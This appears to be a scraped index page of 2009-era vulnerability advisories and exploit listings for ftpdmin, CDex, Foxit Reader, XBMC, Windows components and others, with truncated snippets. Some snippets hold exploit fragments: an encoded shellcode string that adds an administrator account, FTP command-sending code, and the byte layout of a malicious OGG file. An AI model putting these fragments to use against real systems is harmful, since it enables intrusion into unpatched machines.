CVE-2009-0088: Improper Input Validation

The WordPerfect 6.x Converter WPFT632.CNV, 1998.1.27.0 in Microsoft Office Word 2000 SP3 and Microsoft Office Converter Pack does not properly validate the length of an unspecified string, which allows remote attackers to execute arbitrary code via a crafted WordPerfect 6.x file, related to an...

CVE-2009-0086: Undefined Security Weakness

Integer underflow in Windows HTTP Services aka WinHTTP in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, Vista Gold and SP1, and Server 2008 allows remote HTTP servers to execute arbitrary code via crafted parameter values in a response, related to error handling, aka "Windo...

ftpdmin 0.96 Buffer Overflow

".$cmd."\n"; $buff=ftpraw$connid,$cmd; WinExec shellcode of mine, enconded with the alpha2 tool by SkyLined, adds a "surfista" admin user with pass "pass" contains hardcoded address, re-encode command: alpha2 esp shdmp.txt $scode="TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI"...

ftpdmin 0.96 RNFR Remote Buffer Overflow Exploit (xp sp3/case study)

No description provided by source. ?php / ftpdmin v. 0.96 RNFR remote buffer overflow exploit xp sp3 / case study by Nine:Situations:Group::surfista software site: http://www.sentex.net/mwandel/ftpdmin/ our site: http://retrogod.altervista.org/ bug found by rgod in 2006, RNFR sequences can trigge...

ftpdmin 0.96 RNFR Remote Buffer Overflow Exploit (xp sp3/case study)

Exploit for windows platform in category remote exploits ==================================================================== ftpdmin 0.96 RNFR Remote Buffer Overflow Exploit xp sp3/case study ==================================================================== ".$cmd."\n";...

FTPDMIN RNFR命令远程溢出漏洞

BUGTRAQ ID: 34479 Ftpdmin是一款Windows平台下的小型FTP服务器。 如果远程攻击者向Ftpdmin服务器提交了带有恶意路径名参数的RNFR（Rename From）命令的话，就可以触发缓冲区溢出，导致执行任意代码。 Matthias Wandel FTPDMIN 0.96 厂商补丁： Matthias Wandel --------------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://www.sentex.net/mwandel/ftpdmin/index.html ?php...

FTPDMIN 0.96 (Windows XP SP3) - 'RNFR' Remote Buffer Overflow

".$cmd."\n"; $buff=ftpraw$connid,$cmd; WinExec shellcode of mine, enconded with the alpha2 tool by SkyLined, adds a "surfista" admin user with pass "pass" contains hardcoded address, re-encode command: alpha2 esp shdmp.txt $scode="TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI"...

Unsniff Network Analyzer 1.0 Overflow

!/usr/bin/perl Unsniff Network Analyzer 1.0 usnf Local Heap Overflow PoC Summary: Dont just look at hex dumps and protocol trees. With Unsniff Network Analyzer, you can view network traffic at various levels of detail. View high level objects like images, video, HTML pages, VOIP calls, drill down...

Microsoft Windows GDI+库GPFont::SetData()函数单字节溢出漏洞

BUGTRAQ ID: 34250 CVECAN ID: CVE-2009-1217 Microsoft Windows是微软发布的非常流行的操作系统。 Windows的GDI+函数库（gdiplus.dll）的GPFont::SetData函数中存在单字节溢出漏洞。如果用户受骗打开了 EmfPlusFontObject记录中设置有特制字体长度值的EMF图形的话，就可以触发这个溢出，导致使用该库的应用程序崩溃。以下是 Windows XP中的有漏洞代码段： define FamilyNameMax 32 ... WCHAR familyNameFamilyNameMax;...

XBMC 8.10 (takescreenshot) Remote Buffer Overflow Exploit

Exploit for windows platform in category remote exploits ========================================================= XBMC 8.10 takescreenshot Remote Buffer Overflow Exploit ========================================================= !/usr/bin/env python ''' Xbmc takescreenshot request remote buffer...

Symantec AppStream Client LaunchObj ActiveX Control installAppMgr vulnerability

Added: 03/31/2009 CVE: CVE-2008-4388 BID: 33247 OSVDB: 51410 Background Symantec AppStream is an application deployment framework. Problem The LaunchObj ActiveX control exposes the installAppMgr method, which can be used to download and execute arbitrary code. This could allow command execution...

CDex 1.70b2 Buffer Overflow

Tools - Media file Player - Select files - Browse to a folder - - Open - Play evil.ogg / $frgmnt1 = "OggS". //for what I understood ... beginning "\x00". //streamstructureversion "\x02". //headertypeflag "\x00\x00\x00\x00\x00\x00\x00\x00". //granularposition "\x66\x07\x00\x00"...

CDex 1.70b2 (.ogg) Local Buffer Overflow Exploit (xp/ sp3)

Exploit for unknown platform in category local exploits ========================================================== CDex 1.70b2 .ogg Local Buffer Overflow Exploit xp/ sp3 ========================================================== Tools - Media file Player - Select files - Browse to a folder - - Op...

CDex 1.70b2 (Windows XP SP3) - .ogg Local Buffer Overflow

CDex 1.70b2 Windows XP SP3 - .ogg Local Buffer Overflow Tools - Media file Player - Select files - Browse to a folder - - Open - Play evil.ogg / $frgmnt1 = "OggS". //for what I understood ... beginning "\x00". //streamstructureversion "\x02". //headertypeflag "\x00\x00\x00\x00\x00\x00\x00\x00"...

Talkative IRC v0.4.4.16 Response Buffer Overflow

This module exploits a stack buffer overflow in Talkative IRC v0.4.4.16. When a specially crafted response string is sent to a client, an attacker may be able to execute arbitrary code. Module Options msf use exploit/windows/misc/talkative/response msf undefinedresponse show actions ...actions...

Charm enterprise website Management System 2 0 0 9 SP3 English traditional vulnerability-vulnerability warning-the black bar safety net

源码 下载 http://down.chinaz.com/soft/19655.htm Official website http://www. melyysoft. com/ Vulnerability rating: high Google search:"0351-6061896" Vulnerability description: Anti-injection system is not set landing can cause access to insert the phrase Insert the address:/SqlIn/sqlInadmin. asp Inse...

Foxit Reader 3.0 (<= Build 1301) PDF Buffer Overflow Exploit (Univ.)

No description provided by source. !/usr/bin/perl Foxit Reader 3.0 = Build 1301 PDF Buffer Overflow Exploit Universal ------------------------------------------------------------------------ Exploit by SkD [email protected] A SEH overflow occurs in this vulnerability in the popular Foxit Reader...

Foxit Reader 3.0 (<= Build 1301) PDF Buffer Overflow Exploit (Univ.)

Exploit for unknown platform in category local exploits ==================================================================== Foxit Reader 3.0 = Build 1301 PDF Buffer Overflow Exploit Univ. ==================================================================== !/usr/bin/perl Foxit Reader 3.0 = Build...

Foxit Reader 3.0 (Build 1301) - PDF Universal Buffer Overflow

Foxit Reader 3.0 Build 1301 - PDF Universal Buffer Overflow !/usr/bin/perl Foxit Reader 3.0 = Build 1301 PDF Buffer Overflow Exploit Universal ------------------------------------------------------------------------ Exploit by SkD [email protected] A SEH overflow occurs in this vulnerability in...

Foxit Reader 3.0 (Build 1301) - PDF Universal Buffer Overflow

!/usr/bin/perl Foxit Reader 3.0 = Build 1301 PDF Buffer Overflow Exploit Universal ------------------------------------------------------------------------ Exploit by SkD [email protected] A SEH overflow occurs in this vulnerability in the popular Foxit Reader. The latest build 1506 is not...